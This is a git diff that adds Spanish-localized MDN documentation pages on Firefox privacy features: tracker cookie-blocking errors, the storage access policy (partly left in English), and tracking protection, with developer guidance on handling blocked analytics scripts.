+translation_of: Mozilla/Firefox/Privacy
+---
+<div>{{FirefoxSidebar}}</div><p>{{ ListSubpages () }}</p>
diff --git a/files/es/mozilla/firefox/privacy/storage_access_policy/errors/cookieblockedtracker/index.html b/files/es/mozilla/firefox/privacy/storage_access_policy/errors/cookieblockedtracker/index.html
new file mode 100644
index 0000000000..a66c128f8f
--- /dev/null
+++ b/files/es/mozilla/firefox/privacy/storage_access_policy/errors/cookieblockedtracker/index.html
@@ -0,0 +1,97 @@
+---
+title: 'Blocked: Storage access requests from trackers'
+slug: Mozilla/Firefox/Privacy/Storage_access_policy/Errors/CookieBlockedTracker
+translation_of: Mozilla/Firefox/Privacy/Storage_access_policy/Errors/CookieBlockedTracker
+---
+<h2 id="Mensaje">Mensaje</h2>
+
+<p>Firefox:</p>
+
+<pre class="syntaxbox"> <span class="tlid-translation translation" lang="es"><span title="">CookieBlockedTracker = La solicitud de acceso a cookies o almacenamiento en "X" se bloqueó porque provenía de un rastreador y el bloqueo de contenido está habilitado.</span></span>
+</pre>
+
+<h2 id="¿Qué_salió_mal"><span class="tlid-translation translation" lang="es"><span title="">¿Qué salió mal</span></span>?</h2>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">Se bloqueó una solicitud de acceso a cookies o almacenamiento porque el navegador la identificó como proveniente de un rastreador y el bloqueo de contenido está habilitado</span></span> .</p>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">El permiso puede ser cambiado o eliminado por</span></span>:</p>
+
+<ul>
+ <li>Going to <em>Preferences &gt; Content Blocking </em>and either
+
+  <ul>
+   <li>adding an exception with the <em>Manage Exceptions</em>… button</li>
+   <li>choosing the <em>Custom</em> Content Blocking and unchecking the <em>Tracker</em> checkbox</li>
+  </ul>
+ </li>
+</ul>
+
+<p>If the blocked resource doesn't need authentication, you can fix the warning message by adding a <code>crossorigin="anonymous"</code> attribute to the relevant element.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://support.mozilla.org/en-US/kb/content-blocking">Content blocking</a> on <a href="https://support.mozilla.org">support.mozilla.org</a></li>
+ <li><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">The <code>crossorigin</code> attribute</a></li>
+</ul>
+
+<div class="boxed translate-source hidden"><textarea>&lt;div&gt;{{FirefoxSidebar}}&lt;/div&gt;
+
+&lt;h2 id="Message"&gt;Message&lt;/h2&gt;
+
+&lt;p&gt;Firefox:&lt;/p&gt;
+
+&lt;pre class="syntaxbox"&gt;CookieBlockedTracker=Request to access cookies or storage on “X” was blocked because it came from a tracker and content blocking is enabled.
+&lt;/pre&gt;
+
+&lt;h2 id="What_went_wrong"&gt;What went wrong?&lt;/h2&gt;
+
+&lt;p&gt;A request to access cookies or storage was blocked because the browser identified it as coming from a tracker and content blocking is enabled.&lt;/p&gt;
+
+&lt;p&gt;The permission can be changed or removed by:&lt;/p&gt;
+
+&lt;ul&gt;
+ &lt;li&gt;Going to &lt;em&gt;Preferences &amp;gt; Content Blocking &lt;/em&gt;and either
+
+  &lt;ul&gt;
+   &lt;li&gt;adding an exception with the &lt;em&gt;Manage Exceptions&lt;/em&gt;… button&lt;/li&gt;
+   &lt;li&gt;choosing the &lt;em&gt;Custom&lt;/em&gt; Content Blocking and unchecking the &lt;em&gt;Tracker&lt;/em&gt; checkbox&lt;/li&gt;
+  &lt;/ul&gt;
+ &lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;p&gt;If the blocked resource doesn't need authentication, you can fix the warning message by adding a &lt;code&gt;crossorigin="anonymous"&lt;/code&gt; attribute to the relevant element.&lt;/p&gt;
+
+&lt;h2 id="See_also"&gt;See also&lt;/h2&gt;
+
+&lt;ul&gt;
+ &lt;li&gt;&lt;a href="https://support.mozilla.org/en-US/kb/content-blocking"&gt;Content blocking&lt;/a&gt; on &lt;a href="https://support.mozilla.org"&gt;support.mozilla.org&lt;/a&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;a href="/en-US/docs/Web/HTML/CORS_settings_attributes"&gt;The &lt;code&gt;crossorigin&lt;/code&gt; attribute&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;</textarea></div>
+
+<article class="localized">
+<header>
+<h3 id="Traducción_en_Español">Traducción en Español:</h3>
+</header>
+
+<div class="guide-links"><a href="/es/docs/MDN/Community" rel="noopener">¿Necesitas ayuda?</a> • <a href="/es/docs/MDN/Contribute/Editor" rel="noopener">Guía editorial</a> • <a href="/es/docs/MDN/Contribute/Content/Style_guide" rel="noopener">Guía de estilo</a></div>
+
+<div class="editor-wrapper" id="editor-wrapper">
+<div class="draft-container">
+<div class="draft-old"></div>
+
+<div class="draft-status">Autoguardado activado.</div>
+</div>
+
+<div class="ckeditor-container editor-container dirty">
+<div class="editor">
+<div class="editor-tools"></div>
+<textarea>&lt;p&gt;La solicitud para acceder a la cookie o al almacenamiento en "https://www.dominio.com/" se bloqueó porque provenía de un rastreador y el bloqueador de contenido está habilitado.&lt;/p&gt;</textarea>
+
+<div style="height: 172px;">
+<div style="border: 1px solid rgb(182, 182, 182); width: 617px; position: fixed; top: 0px;"></div>
+</div>
+</div>
+</div>
+</div>
+</article>
diff --git a/files/es/mozilla/firefox/privacy/storage_access_policy/errors/index.html b/files/es/mozilla/firefox/privacy/storage_access_policy/errors/index.html
new file mode 100644
index 0000000000..e34540eb06
--- /dev/null
+++ b/files/es/mozilla/firefox/privacy/storage_access_policy/errors/index.html
@@ -0,0 +1,24 @@
+---
+title: Errors
+slug: Mozilla/Firefox/Privacy/Storage_access_policy/Errors
+tags:
+  - Cookies
+  - Errors
+  - NeedsTranslation
+  - Storage
+  - TopicStub
+  - storage access policy
+translation_of: Mozilla/Firefox/Privacy/Storage_access_policy/Errors
+---
+<div>{{FirefoxSidebar}}</div>
+
+<p>This page lists the errors that can be raised due to Firefox's anti-tracking functionality, governed by the <a href="/en-US/docs/Mozilla/Firefox/Privacy/Storage_access_policy">Storage access policy</a>. You can find further information about them by clicking on the links below:</p>
+
+<p>A request to access cookies or storage was blocked because</p>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Firefox/Privacy/Storage_access_policy/Errors/CookieBlockedByPermission">of custom cookie permission</a>.</li>
+ <li><a href="/en-US/docs/Mozilla/Firefox/Privacy/Storage_access_policy/Errors/CookieBlockedTracker">it came from a tracker and content blocking is enabled</a>.</li>
+ <li><a href="/en-US/docs/Mozilla/Firefox/Privacy/Storage_access_policy/Errors/CookieBlockedAll">we are blocking all storage access requests</a>.</li>
+ <li><a href="/en-US/docs/Mozilla/Firefox/Privacy/Storage_access_policy/Errors/CookieBlockedForeign">we are blocking all third-party storage access requests and content blocking is enabled</a>.</li>
+</ul>
diff --git a/files/es/mozilla/firefox/privacy/storage_access_policy/index.html b/files/es/mozilla/firefox/privacy/storage_access_policy/index.html
new file mode 100644
index 0000000000..14d79a009c
--- /dev/null
+++ b/files/es/mozilla/firefox/privacy/storage_access_policy/index.html
@@ -0,0 +1,267 @@
+---
+title: 'Storage access policy: Block cookies from trackers'
+slug: Mozilla/Firefox/Privacy/Storage_access_policy
+tags:
+  - NeedsTranslation
+  - Privacy
+  - TopicStub
+  - storage access policy
+  - tracking protection
+translation_of: Mozilla/Firefox/Privacy/Storage_access_policy
+---
+<div>{{FirefoxSidebar}}</div>
+
+<p class="summary">Firefox includes a new storage access policy that blocks cookies and other site data from third-party tracking resources. This new policy is designed as an alternative to the <a href="/en-US/docs/Mozilla/Cookies_Preferences">current policies</a>, which have been available in Firefox for many years. The new policy protects against cross-site tracking while minimizing the site breakage associated with traditional cookie blocking. This article explains how the new policy works and how you can test it.</p>
+
+<h2 id="Testing_in_Firefox">Testing in Firefox</h2>
+
+<p>You can test how your website works under the new policy in Firefox version 63+. Those who want to test the absolute newest version of the policy can download <a href="https://www.mozilla.org/en-US/firefox/channel/desktop/#nightly">Firefox Nightly</a>, but note that Nightly may include versions of the policy that end up changing before they reach our Release users. You can enable it through the “Content Blocking” menu in the <a href="https://support.mozilla.org/en-US/kb/control-center-site-privacy-and-security-firefox">Control Center</a> in Firefox:</p>
+
+<ul>
+ <li>Open up any version of Firefox version 63 or above. (for those who want to test the newest policy revision: download, install, and open up <a href="https://www.mozilla.org/en-US/firefox/channel/desktop/#nightly">Firefox Nightly</a>.)</li>
+ <li>Open the Content Blocking menu in the Control Center.</li>
+ <li>Click "Add Blocking…" next to "Third-party Cookies".</li>
+ <li>On the page that follows check "Third-party Cookies" and set the radio button to "Trackers".</li>
+</ul>
+
+<p>As this is an experimental policy, it will likely change as we discover site breakage and fix bugs. We’ll keep this page updated with the newest information.</p>
+
+<h3 id="Report_Broken_Sites">Report Broken Sites</h3>
+
+<p>If you find a website broken as a result of this change, file a bug under the Tracking Protection component within the Firefox product on <a href="https://bugzilla.mozilla.org/enter_bug.cgi?assigned_to=nobody%40mozilla.org&amp;blocked=1480137&amp;bug_file_loc=http%3A%2F%2F&amp;bug_ignored=0&amp;bug_severity=normal&amp;bug_status=NEW&amp;cf_fx_iteration=---&amp;cf_fx_points=---&amp;cf_platform_rel=---&amp;cf_status_firefox62=---&amp;cf_status_firefox63=---&amp;cf_status_firefox64=---&amp;cf_status_firefox_esr60=---&amp;cf_status_geckoview62=---&amp;cf_tracking_firefox62=---&amp;cf_tracking_firefox63=---&amp;cf_tracking_firefox64=---&amp;cf_tracking_firefox_esr60=---&amp;cf_tracking_firefox_relnote=---&amp;cf_tracking_geckoview62=---&amp;component=Tracking%20Protection&amp;contenttypemethod=list&amp;contenttypeselection=text%2Fplain&amp;defined_groups=1&amp;flag_type-203=X&amp;flag_type-37=X&amp;flag_type-41=X&amp;flag_type-5=X&amp;flag_type-607=X&amp;flag_type-721=X&amp;flag_type-737=X&amp;flag_type-748=X&amp;flag_type-787=X&amp;flag_type-799=X&amp;flag_type-800=X&amp;flag_type-803=X&amp;flag_type-835=X&amp;flag_type-846=X&amp;flag_type-855=X&amp;flag_type-864=X&amp;flag_type-914=X&amp;flag_type-916=X&amp;flag_type-929=X&amp;flag_type-930=X&amp;flag_type-933=X&amp;form_name=enter_bug&amp;maketemplate=Remember%20values%20as%20bookmarkable%20template&amp;op_sys=Unspecified&amp;priority=--&amp;product=Firefox&amp;rep_platform=Unspecified&amp;target_milestone=---&amp;version=unspecified">Bugzilla</a>. Alternatively you can report a broken sites directly in Firefox by clicking "Report a Problem" in the Content Blocking section of the Control Center.</p>
+
+<p><img alt="diagram showing the report a problem button within the Content Blocking section of the Control Center" src="https://mdn.mozillademos.org/files/16249/control_center_report_problem.png" style="height: 475px; width: 509px;"></p>
+
+<h2 id="Tracking_protection_explained">Tracking protection explained</h2>
+
+<p>How does Firefox determine which resources are tracking resources?</p>
+
+<p>Firefox uses the Tracking Protection list to determine which resources are tracking resources. The Tracking Protection list is <a href="https://github.com/disconnectme/disconnect-tracking-protection/issues">maintained by Disconnect</a>. When the list is applied in Firefox, we make two important changes:</p>
+
+<ul>
+ <li>First, we only use the "Basic Protection" version of the list, which <a href="https://github.com/mozilla-services/shavar-prod-lists#blacklist">excludes some categories of trackers</a>. In the future, we may expand our protections to use the "Strict Protection" version of the list.</li>
+ <li>Second, Firefox uses an additional "<a href="https://github.com/mozilla-services/shavar-prod-lists/blob/master/disconnect-entitylist.json">entity list</a>", which prevents <a href="https://github.com/mozilla-services/shavar-prod-lists#entity-list">domains from being classified as trackers when they are loaded on a top-level site owned by the same organization</a>.</li>
+</ul>
+
+<p>Firefox uses the built-in <a href="https://support.mozilla.org/en-US/kb/tracking-protection">Tracking Protection</a> URL classifier to determine which resources match the tracking protection list. Domains are matched against the list in accordance with the <a href="https://developers.google.com/safe-browsing/v4/urls-hashing#suffixprefix-expressions">SafeBrowsing v4 specification</a>. Specifically, we check the exact hostname of the resource against the list, as well as the last four hostnames formed by starting with the last five components and successively removing the leading component. Consider the following examples:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Hostname on the list</th>
+   <th scope="col">Hostname of resource</th>
+   <th scope="col">Matched</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>example.com</code></td>
+   <td><code>example.com</code></td>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <td><code>example.com</code></td>
+   <td><code>a.b.example.com</code></td>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <td><code>blah.example.com</code></td>
+   <td><code>example.com</code></td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <td><code>a.b.example.com</code></td>
+   <td><code>c.d.example.com</code></td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <td><code>blah.example.com</code></td>
+   <td><code>foo.blah.example.com</code></td>
+   <td>Yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="What_does_the_storage_access_policy_block">What does the storage access policy block?</h2>
+
+<p>The storage access policy blocks resources identified as trackers from accessing their cookies and other site storage when they are loaded in a third-party context. This prevents those resources from retrieving tracking identifiers stored in cookies or site storage and using them to identify users across visits to multiple first parties. Specifically, Firefox does this by imposing the following restrictions:</p>
+
+<p>Cookies:</p>
+
+<ul>
+ <li>Block {{httpheader("Cookie")}} request headers and ignore {{httpheader("Set-Cookie")}} response headers.</li>
+ <li>Return an empty string for calls to {{domxref("Document.cookie")}} and ignore requests to set cookies via <code>Document.cookie</code>.</li>
+</ul>
+
+<p>DOM Storage:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Storage_API">localStorage</a>: window.localStorage is null. Thus, attempts to read and write using this object will throw a <code>TypeError</code> exception</li>
+ <li><a href="/en-US/docs/Web/API/Web_Storage_API">sessionStorage</a>: read and write attempts are permitted.</li>
+ <li><a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>: read and write attempts throw a <code>SecurityError</code> exception.</li>
+</ul>
+
+<p>Messaging and Workers:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Broadcast_Channel_API">Broadcast Channel</a>: attempts to create a new {{domxref("BroadcastChannel")}} will throw a <code>SecurityError</code> exception.</li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API">Shared Worker</a>: attempts to create a new {{domxref("SharedWorker")}} will throw a <code>SecurityError</code> exception.</li>
+ <li><a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker</a>: attempts to create a new {{domxref("ServiceWorker")}} will throw a <code>SecurityError</code> exception.</li>
+</ul>
+
+<p>DOM Cache:</p>
+
+<ul>
+ <li>Calls to {{domxref("CacheStorage")}} will always reject with a <code>SecurityError</code>.</li>
+</ul>
+
+<p>Browser caches:</p>
+
+<ul>
+ <li>The <a href="/en-US/docs/Mozilla/HTTP_cache">HTTP cache</a> and the Image cache are partitioned for tracking resources, such that each top-level origin will have a separate partition and tracking resources on different top-level origins will be cached separate from each other.</li>
+</ul>
+
+<h3 id="What_is_not_blocked_by_the_policy">What is not blocked by the policy?</h3>
+
+<ol>
+ <li>This policy does not currently restrict third-party storage access for resources that are not classified as tracking resources. We may choose to apply additional restrictions to third-party storage access in the future.</li>
+ <li>The restrictions applied by the policy will not prevent third-party scripts classified as tracking resources from accessing storage in the main context of the page. These scripts can continue to use storage scoped to the top-level origin.</li>
+ <li>Origins classified as trackers will have access to their own storage when they are loaded in a first-party context.</li>
+ <li>Cross-origin resources loaded from the same eTLD+1 as the top-level context will still have access to their storage.</li>
+ <li>Origins normally classified as trackers will <a href="https://github.com/mozilla-services/shavar-prod-lists#entity-list">not be blocked if the top-level page origin is determined to be from the same organization as them</a>.</li>
+</ol>
+
+<h2 id="Storage_access_grants">Storage access grants</h2>
+
+<p>In order to improve web compatibility and permit third-party integrations that require storage access, Firefox will grant storage access scoped to the first party for a particular third-party origin as described in this section. Currently, Firefox includes some web compatibility heuristics that grant storage access to third-party resources classified as trackers when a user interacts with those third parties. We do this when we expect that not granting access would cause the web page to break. We also support an initial implementation of the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Storage_Access_API">Storage Access API</a>, through which embedded {{htmlelement("iframe")}}s can request storage access by calling {{domxref("Document.requestStorageAccess()")}}. Although both of these approaches provide the same level of storage access, we recommend third parties switch to using the Storage Access API in order to guarantee their access to storage.</p>
+
+<h3 id="Automatic_storage_access_upon_interaction">Automatic storage access upon interaction</h3>
+
+<p>In order to improve web compatibility, Firefox currently includes some heuristics to grant storage access automatically to third parties that receive user interaction. These heuristics are intended to allow some third-party integrations that are common on the web to continue to function. They are intended to be temporary and will be removed in a future version of Firefox. They should not be relied upon for current and future web development.</p>
+
+<p>Third-party storage access may be granted to resources that have been classified as tracking resources when a user gesture triggers a pop-up window that has <a href="/en-US/docs/Web/API/Window/opener">opener access</a> to the originating document. When that occurs, there are two possible ways a third-party origin can be granted access:</p>
+
+<ul>
+ <li>The origin of the resource that is initially loaded in the pop-up window is granted storage access on the opener document if that origin has received user interaction as a first party within the past 30 days.</li>
+ <li>After the initial resource is loaded in the pop-up window, the window may go through a series of redirects to other hosts. If a user interacts with the pop-up window following a redirect, the origin of the content loaded in the pop-up window is given storage access on the opener document.</li>
+</ul>
+
+<h3 id="Scope_of_storage_access">Scope of storage access</h3>
+
+<p>When storage access is granted, it is scoped to the origin of the opener document or subdomains of that origin. Access that is granted on the subdomain of an origin does not extend to the top-level origin. As an example, if a resource from <code>tracker.example</code> is granted storage access on <code>foo.example.com</code>, then <code>tracker.example</code> will be able to access its cookies on <code>bar.foo.example.com</code> but not <code>example.com</code>. Instead, if <code>tracker.example</code> were granted access on <code>example.com</code> it would be able to access its storage on <code>bar.foo.example.com</code>, <code>foo.example.com</code>, and <code>example.com</code>.</p>
+
+<p>When storage access is granted to <code>tracker.example</code> on <code>example.com</code>, all resources loaded from <code>tracker.example</code> on any top-level document loaded from <code>example.com</code> are immediately given storage access. This includes all resources loaded in the main context of the page, embedded <code>&lt;iframe&gt;</code>s, and resources loaded within embedded <code>&lt;iframe&gt;</code>s. Storage access is not extended to other resources loaded on <code>example.com</code> (e.g. <code>other-tracker.example</code>), nor to other first parties on which <code>tracker.example</code> is embedded (e.g. <code>example.org</code>).</p>
+
+<p>Storage access grants extend into the first level of nested contexts, but no further. This means that <code>&lt;iframe&gt;</code>s embedded in the main context of the page and loaded from a domain classified as a tracker will have full access to all storage locations accessible through JavaScript. Similarly, requests for resources loaded in <code>&lt;iframe&gt;</code>s embedded in the main context of the page will have access to HTTP cookies. However, further nested contexts, including but not limited to those from the origin classified as a tracker, will not be granted storage access.</p>
+
+<p>Consider the following embedding scenarios on a top-level page loaded from <code>example.com</code> on which <code>tracker.example</code> has been granted storage access.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Embedding</th>
+   <th scope="col">tracker.example resource storage access</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>An image is loaded from <code>tracker.example</code> and embedded in the main context of <code>example.com</code>.</td>
+   <td>HTTP: Yes<br>
+    JS: N/A</td>
+  </tr>
+  <tr>
+   <td><code>example.com</code> embeds an <code>&lt;iframe&gt;</code> from <code>example.org</code>. That <code>&lt;iframe&gt;</code> goes on to load an image from <code>tracker.example</code>.</td>
+   <td>HTTP: Yes<br>
+    JS: N/A</td>
+  </tr>
+  <tr>
+   <td><code>example.com</code> embeds an <code>&lt;iframe&gt;</code> from <code>example.org</code>. That <code>&lt;iframe&gt;</code> goes on to embed an <code>&lt;iframe&gt;</code> from <code>tracker.example</code>.</td>
+   <td>HTTP: Yes<br>
+    JS: No</td>
+  </tr>
+  <tr>
+   <td><code>example.com</code> embeds an <code>&lt;iframe&gt;</code> from <code>tracker.example</code>.</td>
+   <td>HTTP: Yes<br>
+    JS: Yes</td>
+  </tr>
+  <tr>
+   <td><code>example.com</code> embeds an <code>&lt;iframe&gt;</code> from <code>example.com</code> (same origin). The nested <code>&lt;iframe&gt;</code> embeds an <code>&lt;iframe&gt;</code> from <code>tracker.example</code>.</td>
+   <td>HTTP: Yes<br>
+    JS: No</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Storage_access_expiration">Storage access expiration</h3>
+
+<p>The storage access grant expires after 30 days. Domains classified as tracking resources may be granted third-party storage access on multiple first parties, and the storage permission for each party expires independently. The above heuristics will also serve to extend the lifetime of a third-party storage permission on origins that have already been granted access.  Each time the heuristic is activated, or a success call to the Storage Access API is made, the pre-existing storage access expiration will be extended by 30 days, counting from the time the previous access was granted.</p>
+
+<p>Please note that in the future we expect to make changes to how long storage access will remain valid for.  As mentioned before, the way to know that you will be able to use storage as a third-party going forward will be using the Storage Access API.</p>
+
+<h2 id="Debugging">Debugging</h2>
+
+<p>We encourage site owners to test their sites, particularly those that rely on third-party content integrations. We’ve added several new features to Firefox to make testing easier.</p>
+
+<h3 id="Developer_Tools_notifications">Developer Tools notifications</h3>
+
+<p>The <a href="/en-US/docs/Tools/Network_Monitor">Network Monitor</a> in Firefox Developer Tools now includes an indicator for all resource requests that have been classified as tracking resources. This indicator is shown as a shield icon in the domain column. In the sample image below, <code>trackertest.org</code> is classified as a tracking resource, while the request to example.com is not.</p>
+
+<p><img alt="network requests in Firefox devtools indicating which ones are tracking resources with a small shield icon" src="https://mdn.mozillademos.org/files/16181/Screen_Shot_2018-09-21_at_10.34.22_AM.png" style="border-style: solid; border-width: 1px; display: block; height: 57px; margin: 0px auto; width: 600px;"></p>
+
+<h3 id="Adding_custom_domains_to_the_Tracking_Protection_list">Adding custom domains to the Tracking Protection list</h3>
+
+<p>Curious how things will work if a third-party domain on your site were classified as a tracker? We’ve added a preference that allows you to add custom domains to the Tracking Protection URL classifier. To do so:</p>
+
+<ol>
+ <li>Type <code>about:config</code> in your address bar. If you are presented with a page that warns you "This may void your warranty!", click "I accept the risk!"</li>
+ <li>Right click on the next page and click "New" &gt; "String".</li>
+ <li>For the preference name enter "urlclassifier.trackingAnnotationTable.testEntries".</li>
+ <li>For the preference value enter comma separated origins that you’d like to have classified as trackers. E.g. "example.net,example.org".</li>
+</ol>
+
+<div class="warning">
+<p><strong>Warning</strong>: Be sure to remove these entries after you have finished testing.</p>
+</div>
+
+<h2 id="FAQ">FAQ</h2>
+
+<p>This cookie policy has the potential to lead to site breakage, but has been designed to allow common third-party integrations to continue to work while preventing cross-site tracking. In this section we describe the functionality you can expect in different integration scenarios.</p>
+
+<h3 id="Will_this_storage_access_policy_block_ads_from_displaying_on_my_website">Will this storage access policy block ads from displaying on my website?</h3>
+
+<p>No — this feature only restricts access to cookies and site data that can be used to track users across websites. Blocking tracking identifiers does not prevent the display of advertisements.</p>
+
+<h3 id="I_use_a_third-party_analytics_service_that_is_classified_as_a_tracker._Will_I_still_receive_analytics_data">I use a third-party analytics service that is classified as a tracker. Will I still receive analytics data?</h3>
+
+<p>This depends on how the third-party analytics service is implemented. Third-party analytics providers will no longer be able to user their third-party storage to collect data. This means that providers using cookies which are scoped to their third-party domain, or local storage and other site data stored under their origin, will no longer have access to those identifiers across other websites.</p>
+
+<p>If these services are embedded into the main context of the page, they can continue to use first-party cookies and site storage to track users across page visits on that specific first-party domain.</p>
+
+<h3 id="I_use_third-party_services_for_social_login_like_and_share_button_integration._Will_my_users_still_be_able_to_make_use_of_these_services">I use third-party services for social login, like, and share button integration. Will my users still be able to make use of these services?</h3>
+
+<p>This depends on how the social integration is implemented. We expect that many of the popular social integrations will continue to function as they do under Firefox’s current cookie policy with some minor differences in the user experience.</p>
+
+<p>A social content provider that is classified as a tracker will not have access to their third-party cookies when the user first visits a new first party. Thus, the user may appear logged out to the service despite being logged in when they visit the provider’s website directly. Depending on the type of integration, the user may have to take some action to interact with the social content provider before the provider is given access to their cookies. For example:</p>
+
+<ul>
+ <li>For social login, the user may have to click a login button on the first party.</li>
+ <li>For social like or share buttons, the user will have to first interact with the button in a logged-out state. Once they do, many social content providers will prompt them to log in.</li>
+</ul>
+
+<p>After these interactions, the provider will receive third-party storage access if they prompt the user in a way that is captured by the storage access activation heuristics described above. These providers should consider switching to explicitly request storage access through the Storage Access API as soon as possible. An <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1469714">initial implementation of this API</a> is currently available in Nightly.</p>
+
+<p> </p>
+
+<h3 id="I_use_third-party_pixels_and_other_tools_to_measure_the_effectiveness_of_my_ad_campaigns._Will_I_still_be_able_to_measure_the_conversion_rate_of_my_ads">I use third-party pixels and other tools to measure the effectiveness of my ad campaigns. Will I still be able to measure the conversion rate of my ads?</h3>
+
+<p>This depends on how the third party has implemented the measurement tool, but generally ad conversion measurement will be more difficult. Consider the following examples:</p>
+
+<ol>
+ <li>You run an ad on a social media website that is seen several times by a user, but never clicked. That user later visits your website, which includes a conversion tracking tag from the same social media website. This type of conversion is often referred to as a “view-through conversion.” Since the social media website does not have access to their third-party storage, they will not recognize the user as the same user that saw the advertisements on their website and the conversion will not be tracked. We expect that most view-through conversion tracking techniques will no longer work, including those offered by display networks.</li>
+ <li>You run an ad on a display network or social media website that is clicked by a user. That user lands on your website, which includes a conversion tracking tag from the same website that displayed your ad. This type of conversion is often referred to as a “click-through conversion.” Since the social media site or display network will not have access to their third-party storage, they will not recognize the user as the same user that saw the advertisements on their website and the conversion will not be tracked. We expect that this version of click-through conversion will no longer work.</li>
+ <li>You run an ad that appears on a social media website. A user clicks on your advertisement and is taken to a landing page that contains a conversion tracking tag from the third-party network. On the social media website, the network annotates the advertisement landing page URL with a query parameter that signals that the visit was the result of a click on an advertisement. On your website, the display network’s tag checks the URL query parameters and saves any ad tracking parameters to first-party storage. If a user later completes a conversion event, the network’s tag checks first-party storage to determine which click (or clicks) was responsible for the visit. We expect that click-through conversion implemented in this way will continue to work.</li>
+</ol>
+
+<p> </p>
+
+<p> </p>
diff --git a/files/es/mozilla/firefox/privacy/tracking_protection/index.html b/files/es/mozilla/firefox/privacy/tracking_protection/index.html
new file mode 100644
index 0000000000..50dfda6984
--- /dev/null
+++ b/files/es/mozilla/firefox/privacy/tracking_protection/index.html
@@ -0,0 +1,80 @@
+---
+title: Protección contra el rastreo
+slug: Mozilla/Firefox/Privacy/Tracking_Protection
+tags:
+  - bloqueo
+  - navegación privada
+  - privacidad
+  - rastreo
+  - seguimiento
+translation_of: Mozilla/Firefox/Privacy/Tracking_Protection
+---
+<div>{{FirefoxSidebar}}</div><h2 id="¿Qué_es_la_protección_contra_el_rastreo">¿Qué es la protección contra el rastreo?</h2>
+
+<p>A partir de la versión 42, Firefox para PC y Firefox para Android cuentan con protección contra el rastreo integrada. En las ventanas de Navegación Privada (o pestañas privadas, en Firefox para Android), Firefox bloqueará el contenido de dominios que rastrean la navegación de los usuarios entre diferentes sitios.</p>
+
+<p>A veces, algunos contenidos bloqueados son parte de la estructura de la página, y los usuarios notarán problemas de disposición de elementos cuando Firefox realice estos bloqueos. Otras veces los usuarios no notarán nada, si la estructura de la página está diseñada de tal manera que los espacios vacíos dejados por los elementos bloqueados los ocupen otros contenidos.</p>
+
+<p>Cuando Firefox bloquee contenido, registrará un mensaje como el siguiente en la consola web:</p>
+
+<pre>The resource at "http://some/url" was blocked because tracking protection is enabled.</pre>
+
+<p>Nótese que en Firefox para Android uno puede acceder a la salida de la consola usando el depurador remoto.</p>
+
+<p>La interfaz de usuario de Firefox indica a los usuarios cuándo se ha producido un bloqueo de contenido y les permite desbloquearlo en esa sesión. Si lo desean, también pueden desactivar completamente la protección contra el rastreo. Descubre más en <a href="https://support.mozilla.org/es/kb/navegacion-privada-con-proteccion-contra-el-rastreo">este artículo.</a></p>
+
+<h2 id="¿Cómo_elige_Firefox_qué_bloquear">¿Cómo elige Firefox qué bloquear?</h2>
+
+<p>El contenido se bloquea en base al dominio desde el que se carga.</p>
+
+<p>Firefox se lanza junto con una lista de sitios en los que se ha detectado actividades de rastreo entre diferentes sitios web. Cuando la protección está activada, Firefox bloqueará el contenido de todos los sitios que se encuentran en esa lista.</p>
+
+<p>Por norma general,, los sitios que hacen este tipo de rastreo son analíticos y de publicidad de terceras partes.</p>
+
+<h2 id="¿Qué_significa_esto_para_tu_sitio">¿Qué significa esto para tu sitio?</h2>
+
+<p>Lo más común es que cuando la protección contra rastreo esté activada:</p>
+
+<ul>
+ <li>el contenido servido por rastreadores de terceros no será visible para los usuarios;</li>
+ <li>tu sitio no podrá usar publicidad de terceros o servicios de analíticas cuando estén haciendo seguimiento de tus usuarios.</li>
+</ul>
+
+<p>Lo menos común es que si otras partes de tu sitio dependen de la carga de estos rastreadores, entonces estas partes no funcionarán cuando la protección esté habilitada. Por ejemplo, si tu sitio incluye una llamada (<em>callback</em>) que se ejecuta cuando se carga el contenido de un sitio que rastrea, entonces no se ejecutará esa llamada.</p>
+
+<p>Por ejemplo, no deberías usar Google Analytics de la siguiente forma:</p>
+
+<pre class="brush:html example-bad">&lt;a href="http://www.example.com" onclick="trackLink('http://www.example.com', event);"&gt;Visit example.com&lt;/a&gt;
+&lt;script&gt;
+function trackLink(url,event) {
+    event.preventDefault();
+    ga('send', 'event', 'outbound', 'click', url, {
+     'transport': 'beacon',
+     'hitCallback': function() {
+       document.location = url;
+     }
+   });
+}
+&lt;/script&gt;</pre>
+
+<p>En cambio, deberías tener cuenta la posibilidad de que no se cargue Google Analytics. Para ello, comprueba si se ha iniciado el objeto <code>ga</code>:</p>
+
+<pre class="brush:html example-good">&lt;a href="http://www.example.com" onclick="trackLink('http://www.example.com', event);"&gt;Visit example.com&lt;/a&gt;
+&lt;script&gt;
+function trackLink(url,event) {
+    event.preventDefault();
+    if (window.ga &amp;&amp; <span class="pl-smi">ga</span>.loaded) {
+         ga('send', 'event', 'outbound', 'click', url, {
+         'transport': 'beacon',
+         'hitCallback': function() { document.location = url; }
+       });
+    } else {
+        document.location = url;
+    }
+}
+&lt;/script&gt;
+</pre>
+
+<p>Encontrarás más información sobre esta técnica en <a href="https://hacks.mozilla.org/2016/01/google-analytics-privacy-and-event-tracking/">este artículo (en inglés).</a></p>
+
